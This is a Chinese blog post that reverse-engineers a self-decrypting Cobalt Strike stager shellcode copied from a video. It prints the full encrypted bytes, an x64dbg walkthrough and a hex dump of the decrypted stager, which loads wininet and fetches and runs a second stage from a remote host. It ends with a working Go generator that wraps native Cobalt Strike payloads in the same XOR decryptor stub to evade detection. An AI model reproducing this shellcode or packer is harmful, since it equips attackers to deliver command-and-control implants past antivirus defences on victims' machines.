先说下为什么会有这篇文章。前段时间在B站上看到一个 CS 二开的视频(该视频已下架),里面的一个功能吸引了我的注意(当时还比较小白),生成的 shellcode 是自混淆的,不同于对 shellcode 先进行加密,之后通过加载器进行解密的流程,UP主二开的 CS 生成的 shellcode 具有自解密的能力,加密后的 shellcode 与原本的 shellcode 看起来完全不同,但是加载后能够正常执行,我就好奇去问了UP主实现的思路,自然是被丑拒了。为了搞清楚他的方法,在多次观察他的视频后我发现,UP主在录制视频时将其中一个完整的 shellcode 录进了视频中,于是我把视频中的 shellcode 逐字节手敲出来,遂有了这次逆向分析。
4C 8D 1D 3D 00 00 00 45 33 C9 4D 8D 43 0D 4D 8B
D0 B8 AB AA AA AA 41 F7 E1 41 8B C1 41 FF C1 C1
EA 03 8D 0C 52 C1 E1 02 2B C1 42 8A 44 18 01 41
30 02 49 FF C2 41 81 F9 A0 02 00 00 72 D3 49 FF
E0 CC CC CC C2 D6 C3 9B 9F 4A B0 1D 4E DB 75 6B
46 9E 48 5F D7 C3 E8 0D 06 52 05 73 0E 5F BB BB
CA 0B E4 5C 1B 9A 23 2A 11 9E 4E F3 3E 02 31 F1
FE DB 75 6B 03 E5 2E 5C DA 9D FB 78 3C B5 31 E3
2B 35 87 13 F2 99 F4 95 23 F4 31 E3 2B C1 87 13
F2 B9 77 58 95 BE 19 58 74 11 86 44 B1 2E DC 71
89 9E C2 3C 2F B8 AA 5C DA F1 DE 78 3A F5 B2 2E
F9 B2 AF F7 9F 8D F5 DA 02 B4 14 0F 81 93 08 D7
F6 28 C2 DA 0B 14 14 19 3F 97 04 DE 80 03 DE 69
2B 1C 30 48 34 B8 A6 EF 58 0F 97 4F 2B BA 11 AC
03 FD 85 F2 F3 2F 77 58 49 92 1B 1F 23 11 86 90
ED 24 D5 69 89 9E 7A 24 36 B3 AD 5C DA 59 E5 6F
22 9A B2 2E B1 9F AD EF FA 8D F5 E6 3C B5 10 1F
81 93 3C D4 EF 2F DE 7B 89 9E 76 2A 46 11 86 7C
C9 23 C2 69 89 9E 9E 1E 27 BA 82 5C DA A5 DC 71
21 B8 10 23 CD D2 E6 FB 9F 4A B0 55 C5 93 6D 27
CD 97 E3 70 8D 03 3B 5D 1E BD 31 52 2E CE CC 1F
D2 4B B0 1D 03 50 75 26 C3 16 B6 72 D3 C1 F5 7A
07 B8 35 57 07 5D 16 DD 14 C6 B0 95 4E DB 75 26
45 1E 82 10 D6 6A F9 1E 86 9E 4C 02 5E A0 EB 10
9E 08 30 21 4E 9C 00 78 04 56 BF 9B 92 39 C5 16
08 E3 19 6B 48 D9 47 94 9E 4A B0 E2 8C 93 F6 AA
42 97 F8 CA 87 38 68 55 C5 AE 12 23 CB 83 04 D2
14 82 4F CB 06 50 AD 23 CB 9B 14 64 4C 02 3D 50
F9 93 FE 93 B9 05 8B 16 CA BD F8 96 86 93 FE B3
B9 00 8B 16 CA 4D F8 96 85 97 FE 93 B9 00 8B 16
CA 55 F8 96 85 97 FE 8B B9 00 8B 16 CA AD F8 96
81 97 FE 9B B9 00 7C 9B 9F 5A B0 5C F7 9B 75 6B
46 5D 14 DA 27 4A 80 1D 4E E8 BC 94 96 9A 4E 96
2A 4A B0 1D 06 50 AD 2A CC 87 C2 DE 15 8F 34 CF
3A C2 3C E0 8B 56 31 84 DE B4 70 95 5A DA 34 64
F0 1E 81 11 CB 43 B1 99 9C AE 9F 2E 75 1F 87 12
F3 6E 90 58 7D 1B 46 B9 75 1F 82 64 48 02 3B D5
02 52 19 4F 6E 93 F0 52 58 0E 94 3D 4E 6F 75 EB
03 E5 03 D3 14 99 F1 E2 9A 93 F0 AB 32 C4 8F 16
D2 2D F4 96 89 93 FE B8 0E 5D 0B DA 60 9C 4F CE
02 56 E9 4F F6 D6 C3 9B D6 C1 EB 25 07 50 06 2B
0F 5D B8 D3 D6 C1 53 5C 11 9A 2B 2A 1B 97 9F C6
5C 07 3B 5D 6E 32 C3 95 B9 29 82 10 DE 6E F9 1E
8E 50 BF 64 F1 C2 8B DA 14 03 AC 54 4D 13 FE 5F
D7 9F C0 6B 76 A8 4E E2 B1 19 02 00 2D B9 E6 AB
AF 64 9F 2C 63 F5 5B 5A 6C FC F2 B6 BA 6D 9F 3A
60 EB 01 1C 3E A8 AF EE E8 32 CB 63 29 B2 19 1C
46
为了对这段 shellcode 进行逆向分析,先使用一个简单的 shellcode 加载器加载这段 shellcode,然后直接拖到 x64dbg 即可,之后定位到 shellcode 的位置,开始分析。
shellcode 首先使用 lea 指令将一个地址赋值给了 r11 寄存器,之后对 r9 低位清零:
0000017B1B5C0000 | 4C:8D1D 3D000000 | lea r11,qword ptr ds:[17B1B5C0044] |
0000017B1B5C0007 | 45:33C9 | xor r9d,r9d |
之后 shellcode 使用 lea 指令将刚才的地址偏移 0xD 的地址赋值给了 r8,后又赋值给 r10 寄存器:
0000017B1B5C000A | 4D:8D43 0D | lea r8,qword ptr ds:[r11+D] |
0000017B1B5C000E | 4D:8BD0 | mov r10,r8 |
在内存窗口中看一下这段地址之间的内容,其中第一个机器码是 C2 ,和前面的三个 CC 指令应该是用来反调试的,对加解密没有具体作用,而之后的12个字节经过后面的分析会发现就是这段 shellcode 的密钥:
接下来就是解密程序:
其中 r10 寄存器中的值是在前面由 r8 寄存器传递的,而在解密程序中,r10 寄存器是 payload 的地址,由此可知 r8 寄存器实际保存的就是 payload 的地址,此处为 0x0000017B1B5C0051,通过内存窗口查看下该地址,发现密钥结束的地址就是加密的 payload 开始的地址:
通过分析之前的解密程序还发现 payload 的大小为 672 字节,发现密钥结束后的内容刚好是 672 字节:
解密得到 CS 的 payload(该 payload 为UP主自写的,并非 CS 的原生 payload):
0000017B1B5C0051 48 8B C4 48 89 58 10 48 89 70 18 48 89 78 20 55 H.ÄH.X.H.p.H.x U
0000017B1B5C0061 41 54 41 55 41 56 41 57 48 8D 68 A1 48 81 EC B0 ATAUAVAWH.h¡H.ì°
0000017B1B5C0071 00 00 00 45 33 ED C7 45 D7 4B 65 72 6E 44 88 6D ...E3íÇE×KernD.m
0000017B1B5C0081 E3 44 88 6D D3 44 88 6D 2F 44 88 6D 17 44 88 6D ãD.mÓD.m/D.m.D.m
0000017B1B5C0091 F3 C7 45 DB 65 6C 33 32 C7 45 DF 2E 64 6C 6C C7 óÇEÛel32ÇEß.dllÇ
0000017B1B5C00A1 45 B7 57 69 6E 69 C7 45 BB 6E 65 74 2E C7 45 BF E·WiniÇE»net.ÇE¿
0000017B1B5C00B1 64 6C 6C 00 C7 45 C7 4C 6F 61 64 C7 45 CB 4C 69 dll.ÇEÇLoadÇEËLi
0000017B1B5C00C1 62 72 C7 45 CF 61 72 79 41 C7 45 1F 49 6E 74 65 brÇEÏaryAÇE.Inte
0000017B1B5C00D1 C7 45 23 72 6E 65 74 C7 45 27 52 65 61 64 C7 45 ÇE#rnetÇE'ReadÇE
0000017B1B5C00E1 2B 46 69 6C 65 C7 45 07 49 6E 74 65 C7 45 0B 72 +FileÇE.InteÇE.r
0000017B1B5C00F1 6E 65 74 C7 45 0F 4F 70 65 6E C7 45 13 55 72 6C netÇE.OpenÇE.Url
0000017B1B5C0101 41 C7 45 F7 49 6E 74 65 C7 45 FB 72 6E 65 74 C7 AÇE÷InteÇEûrnetÇ
0000017B1B5C0111 45 FF 4F 70 65 6E 66 C7 45 03 41 00 C7 45 E7 56 EÿOpenfÇE.A.ÇEçV
0000017B1B5C0121 69 72 74 C7 45 EB 75 61 6C 41 C7 45 EF 6C 6C 6F irtÇEëualAÇEïllo
0000017B1B5C0131 63 65 48 8B 04 25 60 00 00 00 48 8B 48 18 4C 8B ceH..%`...H.H.L.
0000017B1B5C0141 41 20 EB 12 49 8B 40 50 66 44 39 68 18 0F 84 4D A ë[email protected]
0000017B1B5C0151 01 00 00 4D 8B 00 4D 85 C0 75 E9 4C 8B 45 67 49 ...M..M.ÀuéL.EgI
0000017B1B5C0161 63 40 3C 41 8B D5 46 8B 8C 00 88 00 00 00 4D 03 [email protected]<A.ÕF.......M.
0000017B1B5C0171 C8 41 8B 49 20 49 03 C8 45 39 69 18 76 28 8B 01 ÈA.I I.ÈE9i.v(..
0000017B1B5C0181 42 80 3C 00 47 75 13 42 80 7C 00 0D 73 75 0B 46 B.<.Gu.B.|..su.F
0000017B1B5C0191 38 6C 00 0E 0F 84 0F 01 00 00 FF C2 48 83 C1 04 8l........ÿÂH.Á.
0000017B1B5C01A1 41 3B 51 18 72 D8 48 8B 75 67 48 8D 55 C7 49 8B A;Q.rØH.ugH.UÇI.
0000017B1B5C01B1 C8 FF D6 48 8B D8 48 8D 4D D7 FF D3 48 8D 4D B7 ÈÿÖH.ØH.M×ÿÓH.M·
0000017B1B5C01C1 48 8B F8 FF D3 48 8D 55 F7 48 8B C8 48 8B D8 FF H.øÿÓH.U÷H.ÈH.Øÿ
0000017B1B5C01D1 D6 48 8D 55 07 48 8B CB 4C 8B F8 FF D6 48 8D 55 ÖH.U.H.ËL.øÿÖH.U
0000017B1B5C01E1 1F 48 8B CB 4C 8B E0 FF D6 48 8D 55 E7 48 8B CF .H.ËL.àÿÖH.UçH.Ï
0000017B1B5C01F1 4C 8B F0 FF D6 BF 00 00 10 00 41 B9 40 00 00 00 L.ðÿÖ¿....A¹@...
0000017B1B5C0201 8B D7 41 B8 00 30 00 00 33 C9 FF D0 4C 8D 0D B5 .×A¸.0..3ÉÿÐL..µ
0000017B1B5C0211 00 00 00 48 8B D8 41 8A 51 01 45 8A C5 84 D2 74 ...H.ØA.Q.E.Å.Òt
0000017B1B5C0221 19 49 8B CD 80 F2 1F 41 FE C0 88 14 01 41 0F B6 .I.Í.ò.AþÀ...A.¶
0000017B1B5C0231 C8 42 8A 54 09 01 84 D2 75 EA 45 33 C9 44 89 6C ÈB.T...ÒuêE3ÉD.l
0000017B1B5C0241 24 20 45 33 C0 33 D2 33 C9 41 FF D7 48 8B C8 4C $ E3À3Ò3ÉAÿ×H.ÈL
0000017B1B5C0251 89 6C 24 28 45 33 C9 C7 44 24 20 00 B4 00 80 45 .l$(E3ÉÇD$ .´..E
0000017B1B5C0261 33 C0 48 8B D3 41 FF D4 48 85 C0 74 12 4C 8D 4D 3ÀH.ÓAÿÔH.Àt.L.M
0000017B1B5C0271 67 44 8B C7 48 8B D3 48 8B C8 41 FF D6 FF D3 4C gD.ÇH.ÓH.ÈAÿÖÿÓL
0000017B1B5C0281 8D 9C 24 B0 00 00 00 49 8B 5B 38 49 8B 73 40 49 ..$°...I.[[email protected]
0000017B1B5C0291 8B 7B 48 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 .{HI.ãA_A^A]A\]Ã
0000017B1B5C02A1 4D 8B 40 20 E9 B6 FE FF FF 41 8B 41 24 49 03 C0 [email protected] é¶þÿÿA.A$I.À
0000017B1B5C02B1 8B CA 0F B7 14 48 41 8B 49 1C 49 03 C8 8B 34 91 .Ê.·.HA.I.I.È.4.
0000017B1B5C02C1 49 03 F0 E9 E2 FE FF FF C2 77 6B 6B 6F 25 30 30 I.ðéâþÿÿÂwkko%00
0000017B1B5C02D1 2E 2F 31 2D 2E 2E 31 2A 2A 31 2D 25 27 2F 27 2E ./1-..1**1-%'/'.
0000017B1B5C02E1 30 74 77 78 7E 6C 75 77 78 7B 7E 67 69 6C 77 26 0twx~luwx{~gilw&
0000017B1B5C02F1 EB 01 1C 3E A8 AF 00 00 00 00 00 00 00 00 00 00 ë..>¨¯..........
解密后使用 jmp 指令跳转执行:
0000017B1B5C003E | 49:FFE0 | jmp r8 |
之后的部分即是实现 CS Stager 功能的 payload 部分,可以参考我之前的 《CS 4.7 Stager 逆向及 Shellcode 重写》的 shellcode 分析部分,这里不再详细分析。
通过上面的分析,我们可以将这段 shellcode 拆解成解密器、密钥、payload 三个部分,知道了原理,我们就可以自己实现一个脚本来生成这样一段 shellcode 了,这里我直接使用 CS 的原生 payload 作为被加密的内容,所以只需要实现其中的解密器和密钥即可,PoC如下:
package main import ( "bytes" "encoding/binary" "io/ioutil" "math/rand" "time" ) // 生成随机密钥 func GenRandomKey() []byte { rand.Seed(time.Now().UnixNano()) key := make([]byte, 12) rand.Read(key) return key } // 使用密钥对payload进行加密 func XorEncrypt(payload []byte, key []byte) []byte { var xored_payload []byte for i := 0; i < len(payload); i++ { xored_payload = append(xored_payload, payload[i]^key[i%len(key)]) } return xored_payload } // 生成解密器 func MakeDecryptor(payload []byte, key []byte) []byte { prefix := []byte{0x4C, 0x8D, 0x1D, 0x3D, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4D, 0x8D, 0x43, 0x0D, 0x4D, 0x8B, 0xD0, 0xB8, 0xAB, 0xAA, 0xAA, 0xAA, 0x41, 0xF7, 0xE1, 0x41, 0x8B, 0xC1, 0x41, 0xFF, 0xC1, 0xC1, 0xEA, 0x03, 0x8D, 0x0C, 0x52, 0xC1, 0xE1, 0x02, 0x2B, 0xC1, 0x42, 0x8A, 0x44, 0x18, 0x01, 0x41, 0x30, 0x02, 0x49, 0xFF, 0xC2, 0x41, 0x81, 0xF9} suffix := []byte{0x72, 0xD3, 0x49, 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xC2} size := int32(len(payload)) bytesBuffer := bytes.NewBuffer([]byte{}) binary.Write(bytesBuffer, binary.LittleEndian, size) decryptor := append(append(prefix, bytesBuffer.Bytes()...), suffix...) return decryptor } func main() { key := GenRandomKey() payload, _ := ioutil.ReadFile("payload.bin") xored_payload := XorEncrypt(payload, key) decryptor := MakeDecryptor(payload, key) shellcode := append(append(decryptor, key...), xored_payload...) _ = ioutil.WriteFile("shellcode.bin", shellcode, 0666) }
测试上线: